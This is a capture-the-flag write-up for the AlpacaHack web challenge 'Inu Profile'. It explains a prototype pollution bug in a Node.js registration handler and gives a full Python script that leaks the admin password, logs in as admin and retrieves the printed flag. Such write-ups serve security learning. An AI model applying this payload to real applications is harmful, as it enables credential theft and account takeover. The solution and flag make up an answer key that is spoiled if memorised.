Daily Alpacahack 2026 B-SIDE #1 - Inu Profile

Challenge Description

Challenge: Inu Profile
Category: Web
Objective: Exploiting a Prototype Pollution vulnerability to leak the admin password and retrieve the flag.

Reconnaissance

The application is a Node.js web app using the fastify framework. It allows users to:

1. Register (/register) with a username, password, and profile.
2. Login (/login).
3. View Profile (/profile or /profile/:username).
4. Admin Endpoint (/admin), which gives the flag if the user is logged in as admin.

Source Code Analysis

Key files:

• index.js: Main application logic.

The Vulnerability

The vulnerability lies in the /register endpoint logic:

1
// index.js lines 92-97
2
users[username] ??= { password, ...DEFAULT_PROFILE };
3

4
// okay, let's update the database
5
for (const key in profile) {
6
    users[username][key] = profile[key];
7
};

If a user registers with the username __proto__, the following happens:

1. users["__proto__"] accesses Object.prototype (which exists).
2. The ??= operator sees that users["__proto__"] is not null/undefined, so it skips the assignment of the default object.
3. The loop iterates over the user-provided profile object.
4. users[username][key] = profile[key] becomes Object.prototype[key] = profile[key].

This allows us to write arbitrary properties to Object.prototype, causing Prototype Pollution.

The Leak

The application has a function getFilteredProfile that is supposed to filter out sensitive fields (like password) before sending the profile to the user.

1
// index.js lines 47-54
2
function getFilteredProfile(username) {
3
    const profile = users[username];
4
    const filteredProfile = Object.entries(profile).filter(([k]) => {
5
        return k in DEFAULT_PROFILE; // default profile has the key, so we can expose this key
6
    });
7

8
    return Object.fromEntries(filteredProfile);
9
}

The filter relies on k in DEFAULT_PROFILE.

• DEFAULT_PROFILE is a plain object: { 'avatar': '...', 'description': '...' }.
• The in operator checks for properties in the object and its prototype chain.
• By polluting Object.prototype with a property named password, key in DEFAULT_PROFILE will return true when key is 'password'.

The admin user object (defined at startup) has a password property.

1
let users = {
2
    admin: {
3
        password: crypto.randomBytes(16).toString('hex'),
4
        // ...
5
    }
6
};

If we call /profile/admin, getFilteredProfile('admin') checks if password (from admin’s object) is in DEFAULT_PROFILE. Thanks to our pollution, this check passes, and the admin’s password is returned in the response.

Exploit Strategy

1. Pollute: Send a POST to /register with username: "__proto__" and profile: { "password": "pwned" }. This adds password to Object.prototype.
2. Leak: Send a GET to /profile/admin. The response will now contain the admin’s password.
3. Login: Use the leaked password to login as admin.
4. Flag: Access /admin to get the flag.

Solution Script

The following Python script automates the attack:

1
import requests
2

3
BASE_URL = "http://34.170.146.252:16573"
4

5
def exploit():
6
    s = requests.Session()
7

8
    # 1. Pollute Prototype
9
    print("[*] Polluting Object.prototype...")
10
    s.post(f"{BASE_URL}/register", json={
11
        "username": "__proto__",
12
        "password": "123",
13
        "profile": { "password": "1" }
14
    })
15

16
    # 2. Leak Password
17
    print("[*] Leaking admin password...")
18
    r = s.get(f"{BASE_URL}/profile/admin")
19
    admin_password = r.json().get('password')
20
    print(f"[+] Leaked Password: {admin_password}")
21

22
    # 3. Login
23
    print("[*] Logging in as admin...")
24
    s.post(f"{BASE_URL}/login", json={
25
        "username": "admin",
26
        "password": admin_password
27
    })
28

29
    # 4. Get Flag
30
    r = s.get(f"{BASE_URL}/admin")
31
    print(f"[+] Flag: {r.json()['message']}")
32

33
if __name__ == "__main__":
34
    exploit()

Flag

Alpaca{the_best_dog_in_the_world_is_custom-kun}